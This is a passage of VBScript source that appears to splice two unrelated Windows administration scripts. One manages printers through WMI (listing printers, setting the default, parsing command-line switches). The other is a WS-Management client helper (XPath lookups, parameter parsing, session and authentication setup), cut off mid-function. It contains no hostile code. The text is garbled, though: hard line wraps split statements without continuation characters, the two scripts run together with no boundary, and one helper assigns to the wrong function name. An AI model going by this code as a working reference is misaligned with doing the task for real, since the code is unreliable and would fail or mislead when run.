wscript.echo L_Text_Msg_Printer11_Text & L_Space_Text & oPrinter.Parameters
wscript.echo L_Text_Msg_Printer12_Text & L_Space_Text &
CSTR(oPrinter.Attributes)
wscript.echo L_Text_Msg_Printer13_Text & L_Space_Text &
CSTR(oPrinter.Priority)
wscript.echo L_Text_Msg_Printer14_Text & L_Space_Text &
CStr(oPrinter.DefaultPriority)

if CStr(oPrinter.StartTime) <> "" and CStr(oPrinter.UntilTime) <> "" then

wscript.echo L_Text_Msg_Printer15_Text & L_Space_Text &


Mid(Mid(CStr(oPrinter.StartTime), 9, 4), 1, 2) & "h" &
Mid(Mid(CStr(oPrinter.StartTime), 9, 4), 3, 2)
wscript.echo L_Text_Msg_Printer16_Text & L_Space_Text &
Mid(Mid(CStr(oPrinter.UntilTime), 9, 4), 1, 2) & "h" &
Mid(Mid(CStr(oPrinter.UntilTime), 9, 4), 3, 2)

end if

wscript.echo L_Text_Msg_Printer17_Text & L_Space_Text & CStr(oPrinter.Jobs)


wscript.echo L_Text_Msg_Printer18_Text & L_Space_Text &
CStr(oPrinter.AveragePagesPerMinute)
wscript.echo L_Text_Msg_Printer19_Text & L_Space_Text &
PrnStatusToString(oPrinter.PrinterStatus)
wscript.echo L_Text_Msg_Printer20_Text & L_Space_Text &
ExtPrnStatusToString(oPrinter.ExtendedPrinterStatus)
wscript.echo L_Text_Msg_Printer21_Text & L_Space_Text &
DetectedErrorStateToString(oPrinter.DetectedErrorState)
wscript.echo L_Text_Msg_Printer22_Text & L_Space_Text &
ExtDetectedErrorStateToString(oPrinter.ExtendedDetectedErrorState)

Err.Clear

next

wscript.echo L_Empty_Text
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & iTotal

ListPrinters = kErrorSuccess

end function

'
' Get the default printer
'
function GetDefaultPrinter(strUser, strPassword)

on error resume next

DebugPrint kDebugTrace, L_Text_Dbg_Msg06_Text

dim oService
dim oPrinter
dim iRetval
dim oEnum

iRetval = kErrorFailure

'
' We connect to the local server
'
if WmiConnect("", kNameSpace, strUser, strPassword, oService) then

set oEnum = oService.ExecQuery("select DeviceID from Win32_Printer where


default=true")

else

SetDefaultPrinter = kErrorFailure
exit function

end if

if Err.Number = kErrorSuccess then

for each oPrinter in oEnum

wscript.echo L_Text_Msg_General12_Text & L_Space_Text &


oPrinter.DeviceID

next

iRetval = kErrorSuccess

else

wscript.echo L_Text_Msg_General13_Text & L_Space_Text & L_Error_Text &


L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text &
Err.Description

end if

GetDefaultPrinter = iRetval

end function

'
' Set the default printer
'
function SetDefaultPrinter(strPrinter, strUser, strPassword)

'on error resume next

DebugPrint kDebugTrace, L_Text_Dbg_Msg07_Text

dim oService
dim oPrinter
dim iRetval
dim uResult

iRetval = kErrorFailure

'
' We connect to the local server
'
if WmiConnect("", kNameSpace, strUser, strPassword, oService) then

set oPrinter = oService.Get("Win32_Printer.DeviceID='" & strPrinter & "'")

else

SetDefaultPrinter = kErrorFailure

exit function

end if
'
' Check if Get was successful
'
if Err.Number = kErrorSuccess then

'
' The Err object indicates whether the WMI provider reached the execution
' of the function that sets the default printer. The uResult is the Win32
' error code of the spooler function that sets the default printer
'
uResult = oPrinter.SetDefaultPrinter

if Err.Number = kErrorSuccess then

if uResult = kErrorSuccess then

wscript.echo L_Text_Msg_General15_Text & L_Space_Text & strPrinter

iRetval = kErrorSuccess

else

wscript.echo L_Text_Msg_General14_Text & L_Space_Text _


& L_Text_Error_General03_Text& L_Space_Text & uResult

end if

else

wscript.echo L_Text_Msg_General14_Text & L_Space_Text & L_Error_Text &


L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text &
Err.Description

end if

else

wscript.echo L_Text_Msg_General14_Text & L_Space_Text & L_Error_Text &


L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text &
Err.Description

'
' Try getting extended error information
'
call LastError()

end if

SetDefaultPrinter = iRetval

end function

'
' Converts the printer status to a string
'
function PrnStatusToString(Status)
dim str

str = L_Empty_Text

select case Status

case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text

case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text

case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text

case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text

case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text

case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text

case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text

end select

PrnStatusToString = str

end function

'
' Converts the extended printer status to a string
'
function ExtPrnStatusToString(Status)

dim str

str = L_Empty_Text

select case Status

case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text

case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text

case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text

case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text

case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text

case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text

case 8
str = str + L_Text_Msg_Status08_Text + L_Space_Text

case 9
str = str + L_Text_Msg_Status09_Text + L_Space_Text

case 10
str = str + L_Text_Msg_Status10_Text + L_Space_Text

case 11
str = str + L_Text_Msg_Status11_Text + L_Space_Text

case 12
str = str + L_Text_Msg_Status12_Text + L_Space_Text

case 13
str = str + L_Text_Msg_Status13_Text + L_Space_Text

case 14
str = str + L_Text_Msg_Status14_Text + L_Space_Text

case 15
str = str + L_Text_Msg_Status15_Text + L_Space_Text

case 16
str = str + L_Text_Msg_Status16_Text + L_Space_Text

case 17
str = str + L_Text_Msg_Status17_Text + L_Space_Text

case 18
str = str + L_Text_Msg_Status18_Text + L_Space_Text

end select

ExtPrnStatusToString = str

end function

'
' Converts the detected error state to a string
'
function DetectedErrorStateToString(Status)

dim str

str = L_Empty_Text

select case Status

case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text

case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text

case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text

case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text

case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text

case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text

case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text

case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text

case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text

case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text

case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text

end select

DetectedErrorStateToString = str

end function

'
' Converts the extended detected error state to a string
'
function ExtDetectedErrorStateToString(Status)

dim str

str = L_Empty_Text

select case Status

case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text

case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text

case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text

case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text

case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text

case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text

case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text

case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text

case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text

case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text

case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text

case 12
str = str + L_Text_Msg_Status28_Text + L_Space_Text

case 13
str = str + L_Text_Msg_Status29_Text + L_Space_Text

case 14
str = str + L_Text_Msg_Status30_Text + L_Space_Text

case 15
str = str + L_Text_Msg_Status31_Text + L_Space_Text

case 16
str = str + L_Text_Msg_Status32_Text + L_Space_Text

end select

ExtDetectedErrorStateToString = str

end function

'
' Debug display helper function
'
sub DebugPrint(uFlags, strString)

if gDebugFlag = true then

if uFlags = kDebugTrace then

wscript.echo L_Debug_Text & L_Space_Text & strString


end if

if uFlags = kDebugError then

if Err <> 0 then

wscript.echo L_Debug_Text & L_Space_Text & strString & L_Space_Text


_
& L_Error_Text & L_Space_Text & L_Hex_Text &
hex(Err.Number) _
& L_Space_Text & Err.Description

end if

end if

end if

end sub

'
' Parse the command line into its components
'
function ParseCommandLine(iAction, strServer, strPrinter, strDriver, strPort,
strUser, strPassword)

on error resume next

DebugPrint kDebugTrace, L_Text_Dbg_Msg08_Text

dim oArgs
dim iIndex

iAction = kActionUnknown
iIndex = 0

set oArgs = wscript.Arguments

while iIndex < oArgs.Count

select case oArgs(iIndex)

case "-a"
iAction = kActionAdd

case "-ac"
iAction = kActionAddConn

case "-d"
iAction = kActionDel

case "-x"
iAction = kActionDelAll

case "-xc"
iAction = kActionDelAllCon

case "-xo"
iAction = kActionDelAllLocal
case "-l"
iAction = kActionList

case "-g"
iAction = kActionGetDefaultPrinter

case "-t"
iAction = kActionSetDefaultPrinter

case "-s"
iIndex = iIndex + 1
strServer = RemoveBackslashes(oArgs(iIndex))

case "-p"
iIndex = iIndex + 1
strPrinter = oArgs(iIndex)

case "-m"
iIndex = iIndex + 1
strDriver = oArgs(iIndex)

case "-u"
iIndex = iIndex + 1
strUser = oArgs(iIndex)

case "-w"
iIndex = iIndex + 1
strPassword = oArgs(iIndex)

case "-r"
iIndex = iIndex + 1
strPort = oArgs(iIndex)

case "-?"
Usage(true)
exit function

case else
Usage(true)
exit function

end select

iIndex = iIndex + 1

wend

if Err = kErrorSuccess then

ParseCommandLine = kErrorSuccess

else

wscript.echo L_Text_Error_General02_Text & L_Space_Text & L_Error_Text &


L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_text &
Err.Description
ParseCommandLine = kErrorFailure

end if

end function

'
' Display command usage.
'
sub Usage(bExit)

wscript.echo L_Help_Help_General01_Text
wscript.echo L_Help_Help_General02_Text
wscript.echo L_Help_Help_General03_Text
wscript.echo L_Help_Help_General04_Text
wscript.echo L_Help_Help_General05_Text
wscript.echo L_Help_Help_General06_Text
wscript.echo L_Help_Help_General07_Text
wscript.echo L_Help_Help_General08_Text
wscript.echo L_Help_Help_General09_Text
wscript.echo L_Help_Help_General10_Text
wscript.echo L_Help_Help_General11_Text
wscript.echo L_Help_Help_General12_Text
wscript.echo L_Help_Help_General13_Text
wscript.echo L_Help_Help_General14_Text
wscript.echo L_Help_Help_General15_Text
wscript.echo L_Help_Help_General16_Text
wscript.echo L_Help_Help_General17_Text
wscript.echo L_Help_Help_General18_Text
wscript.echo L_Help_Help_General19_Text
wscript.echo L_Empty_Text
wscript.echo L_Help_Help_General20_Text
wscript.echo L_Help_Help_General21_Text
wscript.echo L_Help_Help_General22_Text
wscript.echo L_Help_Help_General23_Text
wscript.echo L_Help_Help_General24_Text
wscript.echo L_Help_Help_General25_Text
wscript.echo L_Help_Help_General26_Text
wscript.echo L_Help_Help_General27_Text
wscript.echo L_Help_Help_General28_Text
wscript.echo L_Help_Help_General29_Text

if bExit then

wscript.quit(1)

end if

end sub

'
' Determines which program is being used to run this script.
' Returns true if the script host is cscript.exe
'
function IsHostCscript()

on error resume next

dim strFullName
dim strCommand
dim i, j
dim bReturn

bReturn = false

strFullName = WScript.FullName

i = InStr(1, strFullName, ".exe", 1)

if i <> 0 then

j = InStrRev(strFullName, "\", i, 1)

if j <> 0 then

strCommand = Mid(strFullName, j+1, i-j-1)

if LCase(strCommand) = "cscript" then

bReturn = true

end if

end if

end if

if Err <> 0 then

wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text &


L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text &
Err.Description

end if

IsHostCscript = bReturn

end function

'
' Retrieves extended information about the last error that occurred
' during a WBEM operation. The methods that set an SWbemLastError
' object are GetObject, PutInstance, DeleteInstance
'
sub LastError()

on error resume next

dim oError

set oError = CreateObject("WbemScripting.SWbemLastError")

if Err = kErrorSuccess then

wscript.echo L_Operation_Text & L_Space_Text & oError.Operation


wscript.echo L_Provider_Text & L_Space_Text &
oError.ProviderName
wscript.echo L_Description_Text & L_Space_Text &
oError.Description
wscript.echo L_Text_Error_General03_Text & L_Space_Text & oError.StatusCode

end if

end sub

'
' Connects to the WMI service on a server. oService is returned as a service
' object (SWbemServices)
'
function WmiConnect(strServer, strNameSpace, strUser, strPassword, oService)

on error resume next

dim oLocator
dim bResult

oService = null

bResult = false

set oLocator = CreateObject("WbemScripting.SWbemLocator")

if Err = kErrorSuccess then

set oService = oLocator.ConnectServer(strServer, strNameSpace, strUser,


strPassword)

if Err = kErrorSuccess then

bResult = true

oService.Security_.impersonationlevel = 3

'
' Required to perform administrative tasks on the spooler service
'
oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"

Err.Clear

else

wscript.echo L_Text_Msg_General11_Text & L_Space_Text & L_Error_Text _


& L_Space_Text & L_Hex_Text & hex(Err.Number) &
L_Space_Text _
& Err.Description

end if

else

wscript.echo L_Text_Msg_General10_Text & L_Space_Text & L_Error_Text _


& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description

end if
WmiConnect = bResult

end function

'
' Remove leading "\\" from server name
'
function RemoveBackslashes(strServer)

dim strRet

strRet = strServer

if Left(strServer, 2) = "\\" and Len(strServer) > 2 then

strRet = Mid(strServer, 3)

end if

RemoveBackslashes = strRet

end function
Private Function GetElementByXpath(msxmlObj, xpath)
GetElementByXpath = ""

msxmlObj.setProperty "SelectionLanguage", "XPath"


msxmlObj.setproperty "SelectionNamespaces",
"xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""

Dim elementList
Dim currentElement

Set currentElement = msxmlObj.selectSingleNode(xpath)


If Not currentElement is Nothing Then
If currentElement.hasChildNodes() Then
If currentElement.childNodes.length = 1 Then
dim aNode
Set aNode = currentElement.childNodes.nextNode()
If aNode.nodeType = NODE_TEXT Then
GetElementByXpath = aNode.text
Exit Function
End If
End If
End If
GetElementByXpath = currentElement.xml
End If
Exit Function

Set elementList = msxmlObj.selectNodes(xpath)


If elementList.length = 1 Then
Set currentElement = elementList.nextNode()
If currentElement.nodeType = NODE_TEXT Then
GetElementByXpath = currentElement.text
Else
GetElementByXpath = currentElement.xml
End If
End If
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementAttributeByXpath(msxmlObj, xpath, attributeName)
GetElementAttributeByXpath = ""

msxmlObj.setProperty "SelectionLanguage", "XPath"


msxmlObj.setproperty "SelectionNamespaces",
"xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""

Dim currentElement

Set currentElement = msxmlObj.selectSingleNode(xpath)


GetElementAttributeByXpath = currentElement.getAttribute("Source")

End Function

'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementXml(msxmlObj, currentElement)
GetElementXml = ""

msxmlObj.setProperty "SelectionLanguage", "XPath"


msxmlObj.setproperty "SelectionNamespaces",
"xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""

Dim elementList

GetElementByXpath = currentElement.xml

End Function

'''''''''''''''''''''
' Returns XML ns depending on the type of URI

private function GetXmlNs(resUri)


dim resUriLCase
dim s1
dim s2

ASSERTBOOL Len(resUri) <> 0, GetResource("L_URIZERO_Message")

resUriLCase = LCase(resUri)

if InStr(resUriLCase, URI_IPMI) <> 0 then


GetXmlNs = StripParams(resUri)
elseif InStr(resUriLCase, URI_WMI) <> 0 then
GetXmlNs = StripParams(resUri)
else
'//GetXmlNs = StripParams(resUri) & ".xsd"
'//This was reported by Intel as an interop issue. So now we are not
appending a .xsd in the end.
GetXmlNs = StripParams(resUri)
end if

GetXmlNs = "xmlns:p=""" & GetXmlNs & """"


end function

'''''''''''''''''''''
' Verify if target is in IPv6 format
private function IsIPv6(target)
dim regexpObj
Set regexpObj = New RegExp

regexpObj.Pattern = PTRN_IPV6_S
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regExpObj.Execute(target)
if matches.Count <> 0 then
IsIPv6 = true
else
IsIPv6 = false
end if
end function

'''''''''''''''''''''
' Extracts XML root node nm. from URI

private function GetRootNodeName(opr, resUri, actUri)


dim uriTmp
dim sfx
dim s

dim regexpObj
Set regexpObj = New RegExp

ASSERTBOOL Len(opr) <> 0, "'opr' parameter is 0 length or null"

sfx = ""
select case opr
case OP_PUT
uriTmp = resUri
case OP_CRE
uriTmp = resUri
case OP_INV
uriTmp = actUri
sfx = GetSuffix(resUri)
case else
GetRootNodeName = ""
exit function
end select
ASSERTBOOL Len(uriTmp) <> 0, GetResource("L_URIZERO_Message")

uriTmp = StripParams(uriTmp)

regexpObj.Pattern = PTRN_URI_LAST
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regexpObj.Execute(uriTmp)
ASSERTBOOL matches.Count = 1, GetResource("L_NOLASTTOK_Message")

uriTmp = matches(0)
ASSERTBOOL Len(uriTmp) <> 0, GetResource("L_URIZEROTOK_Message")

GetRootNodeName = uriTmp & sfx


end function

private function ProcessParameterHash(hashString)


on error resume next
dim matches
dim m

dim regexpObj

Set regexpObj = New RegExp


regexpObj.Global = True
regexpObj.IgnoreCase = True

dim resultDictionary
set resultDictionary = CreateObject("Scripting.Dictionary")

If Len(hashString) > 0 then


If Len(hashString) > 2 Then
If Mid(hashString,1,1) <> "{" Or Mid(hashString,Len(hashString),1) <>
"}" Then
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If

regexpObj.Pattern = PTRN_HASH_VALIDATE
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count <> 1 then
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if

'following check ensures that if we have unmatched substrings


'we report a syntax error. the way we determine is first to
'calculate the expected string length by going through all
'the matches and then comparing with input string length

dim expectedLength

regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)

expectedLength = matches.Count-1
for each m in matches
expectedLength = expectedLength + m.Length
next
'account for starting and closing {}
expectedLength = expectedLength + 2
if (expectedLength <> Len(hashString)) then
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if

regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count > 0 then
for each m in matches
if resultDictionary.Exists(m.Submatches(0)) then
stdErr.WriteLine GetResource("L_ERR_Message") &
GetResource("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)
set ProcessParameterHash = Nothing
Exit Function
end if
if LCase(m.Submatches(1)) = "$null" then
resultDictionary.Add m.Submatches(0),null
else
resultDictionary.Add m.Submatches(0),m.Submatches(2)
end if
next
end if
ElseIf hashString <> "{}" Then
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
Else
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If

set ProcessParameterHash = resultDictionary


end function

private function
CreateAndInitializeResourceLocator(wsman,resourceUri,cmdlineOptions)
on error resume next

Dim key
dim resourceLocator
dim paramMap
Dim optionsValue

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' create the resource locator object

Set resourceLocator = Wsman.CreateResourceLocator(resourceUri)


if Err.number <> 0 then
stdErr.WriteLine GetResource("L_ERR_Message") &
GetResource("L_RESOURCELOCATOR_Message")
set CreateAndInitializeResourceLocator = Nothing
exit function
end if

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the options on the resource locator
optionsValue = cmdlineOptions.Argument("options")
If Len(optionsValue) Then
set paramMap = ProcessParameterHash(optionsValue)
if paramMap Is Nothing then
set CreateAndInitializeResourceLocator = Nothing
'todo exit function
end if
for each key in paramMap
if IsNull(paramMap(key)) then
resourceLocator.AddOption key, null
else
resourceLocator.AddOption key,paramMap(key)
end if
next
End If

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the fragment path and fragment dialect on the resource locator

if(cmdlineOptions.ArgumentExists(NPARA_FRAGMENT)) then
resourceLocator.FragmentPath = cmdlineOptions.Argument(NPARA_FRAGMENT)
end if
if(cmdlineOptions.ArgumentExists(NPARA_DIALECT)) then
resourceLocator.FragmentDialect = cmdlineOptions.Argument(NPARA_DIALECT)
end if

set CreateAndInitializeResourceLocator = resourceLocator


end function

'''''''''''''''''''''
' Reads input XML from the stdin or builds XML from @{...}

private function ProcessInput(wsman, operation, root, cmdlineOptions,


resourceLocator,sessionObj,inputStr,formatOption)
on error resume next

dim parameterDic,key

dim putStr
dim elementList
dim currentElement
dim paramXmlFile
dim tmpNode
dim parameterString
dim parameterCount
dim xmlns

'make sure it's a relevent operation


select case operation
case OP_PUT
case OP_CRE
case OP_INV
case else
inputStr = ""
ProcessInput = true
exit function
end select

xmlns = GetXmlNs(resourceLocator.ResourceURI)

'process the parameters into a Map


parameterString = cmdlineOptions.Argument(NPARA_PSEUDO_AT)
parameterCount = 0
If Len(parameterString) Then
set parameterDic = ProcessParameterHash(parameterString)
'if parameter processing failed, exit
if parameterDic Is Nothing then
set ProcessInput = false
exit function
end if
parameterCount = parameterDic.Count
End If

'if there were no parameters, get from file


if parameterCount = 0 then
if cmdlineOptions.ArgumentExists(NPARA_FILE) then
inputStr = ReadFile(cmdlineOptions.Argument(NPARA_FILE))
ProcessInput = true
exit function
end if
end if

if operation = OP_CRE Or operation = OP_INV then


dim nilns
nilns = ""
dim parameters
parameters = ""
if parameterCount > 0 then
for each key in parameterDic
parameters = parameters & "<p:" & key
if IsNull(parameterDic(key)) then
parameters = parameters & " " & ATTR_NIL
nilns = " " & NS_XSI
end if
parameters = parameters & ">" & Escape(parameterDic(key)) & _
"</p:" & key & ">"
next
end if

putStr = "<p:" & root & " " & xmlns & nilns & ">" & _
parameters & "</p:" & root & ">"

elseif operation = OP_PUT then

if parameterCount = 0 then
stdErr.WriteLine GetResource("L_ERR_Message") &
GetResource("L_PUT_PARAM_NOINPUT_Message")
inputStr = ""
ProcessInput = false
exit function
end if

'get the original resource xml


on error resume next
putStr = sessionObj.Get(resourceLocator)
if Err.Number <> 0 then
ASSERTERR sessionObj, formatOption
inputStr = ""
ProcessInput = false
exit function
end if

'create an MSXML DomDocument object to work with the resource xml


on error resume next
Set paramXmlFile = CreateObject("MSXML2.DOMDocument.6.0")
if Err.number <> 0 then
stdErr.WriteLine GetResource("L_ERR_Message") &
GetResource("L_MSXML6MISSING_Message")
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.async = false

'load the domdocument with the resource xml


paramXmlFile.LoadXML(putStr)
if (paramXmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine GetResource("L_ERR_Message") &
GetResource("L_XMLERROR_Message") & paramXmlFile.parseError.reason
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.setProperty "SelectionLanguage", "XPath"

'loop through the command-line name/value pairs


for each key in parameterDic
'find the elements matching the key
Dim xpathString
xpathString = "/*/*[local-name()=""" & key & """]"
if LCase(key) = "location" then
'Ignore cim:Location
xpathString = "/*/*[local-name()=""" & key & """ and namespace-
uri() != """ & NS_CIMBASE & """]"
end if
Set elementList = paramXmlFile.selectNodes(xpathString)

'make sure there is 1 - error on 0 or > 1


if elementList.length = 0 then
stdErr.WriteLine GetResource("L_ERR_Message") &
GetResource("L_PUT_PARAM_NOMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
elseif elementList.length > 1 then
stdErr.WriteLine GetResource("L_ERR_Message") &
GetResource("L_PUT_PARAM_MULTIMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
'get the node from the list
Set currentElement = elementList.nextNode()
'make sure the node does not have anything other than 1 or less
text children
if currentElement.hasChildNodes() then
if currentElement.childNodes.length > 1 then
stdErr.WriteLine GetResource("L_ERR_Message") &
GetResource("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
dim aNode
Set aNode = currentElement.childNodes.nextNode()
if aNode.nodeType <> NODE_TEXT then
stdErr.WriteLine GetResource("L_ERR_Message") &
GetResource("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
end if
end if
end if
if IsNull(parameterDic(key)) then
Set tmpNode =
paramXmlFile.createNode(NODE_ATTRIBUTE,ATTR_NIL_NAME,NS_XSI_URI)
tmpNode.text = "true"
currentElement.setAttributeNode tmpNode
currentElement.text = ""
else
'delete nil attribute if present
currentElement.attributes.removeNamedItem(ATTR_NIL_NAME)
currentElement.text = parameterDic(key)
end if
end If
next
putStr = paramXmlFile.xml
end if
inputStr = putStr
ProcessInput = true
end function

private function ReadStdIn()


while Not stdIn.AtEndOfStream
ReadStdIn = ReadStdIn & stdIn.ReadAll
wend
end function

'''''''''''''''''''''
' Escapes non XML chars

private function Escape(str)


dim i
for i = 1 to Len(str)
select case Mid(str, i, 1)
case "&"
Escape = Escape & "&amp;"
case "<"
Escape = Escape & "&lt;"
case ">"
Escape = Escape & "&gt;"
case """"
Escape = Escape & "&quot;"
case "'"
Escape = Escape & "&apos;"
case else
Escape = Escape & Mid(str, i, 1)
end select
next
end function
'''''''''''''''''''''
' Checks if this script is running under cscript.exe

private function IsCScriptEnv()


if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
IsCScriptEnv = True
else
IsCScriptEnv = False
end if
end function

private function CreateSession(wsman, conStr, optDic, formatOption)


dim sessionFlags
dim conOpt
dim session
dim authVal
dim encodingVal
dim encryptVal
dim pw
dim tout
' proxy information
dim proxyAccessType
dim proxyAccessTypeVal
dim proxyAuthenticationMechanism
dim proxyAuthenticationMechanismVal
dim proxyUsername
dim proxyPassword

sessionFlags = 0
proxyAccessType = 0
proxyAccessTypeVal = 0
proxyAuthenticationMechanism = 0
proxyAuthenticationMechanismVal = 0
proxyUsername = ""
proxyPassword = ""

set conOpt = Nothing

if optDic.ArgumentExists(NPARA_ENCODING) then
ASSERTNAL(NPARA_ENCODING)
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-encoding' option is
only valid when used with the '-remote' option"
encodingVal = optDic.Argument(NPARA_ENCODING)
if LCase(encodingVal) = "utf-16" then
sessionFlags = sessionFlags OR wsman.SessionFlagUTF16
elseif LCase(encodingVal) = "utf-8" then
sessionFlags = sessionFlags OR wsman.SessionFlagUTF8
else
' Invalid!
ASSERTBOOL false, "The specified encoding flag is invalid."
end if
end if

if optDic.ArgumentExists(NPARA_UNENCRYPTED) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" &
NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option"
'C API will ensure that unencrypted is only used w/ http
sessionFlags = sessionFlags OR wsman.SessionFlagNoEncryption
end if
if optDic.ArgumentExists(NPARA_USESSL) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL
& "' option is only valid when used with the '-remote' option"
sessionFlags = sessionFlags OR wsman.SessionFlagUseSsl
end if

if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTNAL(NPARA_AUTH)
authVal = optDic.Argument(NPARA_AUTH)
select case LCase(authVal)
case VAL_NO_AUTH
sessionFlags = sessionFlags OR wsman.SessionFlagUseNoAuthentication
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" &
NPARA_CERT & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" &
NPARA_PASSWORD & "' option is only valid for '-auth:none'"
case VAL_BASIC
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option must be specified for '-auth:basic'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" &
NPARA_CERT & "' option is not valid for '-auth:basic'"
sessionFlags = sessionFlags OR
wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseBasic
case VAL_DIGEST
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option must be specified for '-auth:digest'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" &
NPARA_CERT & "' option is not valid for '-auth:digest'"
sessionFlags = sessionFlags OR
wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest
case VAL_KERBEROS
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" &
NPARA_CERT & "' option is not valid for '-auth:kerberos'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseKerberos
case VAL_NEGOTIATE
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" &
NPARA_CERT & "' option is not valid for '-auth:negotiate'"
sessionFlags = sessionFlags OR wsman.SessionFlagUseNegotiate
case VAL_CERT
'-certificate is mandatory.
ASSERTBOOL optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT
& "' option must be specified for '-auth:certificate'"
'-username or -password must not be used
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option is not valid for '-auth:certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" &
NPARA_PASSWORD & "' option is not valid for '-auth:certificate'"
